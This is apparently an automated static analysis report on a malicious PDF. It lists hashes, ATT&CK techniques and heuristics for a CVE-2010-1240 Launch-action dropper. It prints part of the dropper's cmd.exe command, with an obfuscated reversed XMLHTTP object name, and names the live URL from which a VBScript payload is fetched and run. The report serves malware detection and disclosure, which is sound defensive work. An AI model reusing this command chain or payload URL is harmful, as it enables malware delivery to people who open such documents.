Malicious PDF — malware analysis report

Static analysis result for SHA-256 0f0ff78bc2739fbf…

MALICIOUS

PDF

801 B
MD5: 01bd18b4cdb7daa03de40afebe4750e3 SHA-1: d3f185a97abe30aeaeeed027b47d47deb0fce155 SHA-256: 0f0ff78bc2739fbf3910de5ad18ba6dfe284f1e3993ca17eb352e1af1bad4a01
212 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The PDF file contains a critical heuristic firing for CVE-2010-1240, indicating a VBS dropper command chain. The embedded script and document body reveal a command that constructs a VBScript to download a file from http://ossirep.com/newsp/tmp/m.vbs using ADODB.Stream and execute it. This indicates the PDF is acting as a downloader for a secondary malicious payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9998

Heuristics 5

  • Adobe Reader Launch action VBS dropper command chain critical CVE likely CVE_2010_1240_LAUNCH_VBS_DROPPER
    PDF uses a CVE-2010-1240-style Launch action: cmd.exe is invoked from /Launch and builds a VBS stage that uses ADODB.Stream, MSXML2.XMLHTTP, or FileSystemObject to write or execute a payload.
  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ossirep.com/newsp/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_0000006f.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5		 pdf-embedded-script PDF decompressed stream script payload at offset 0x6F 63 bytes

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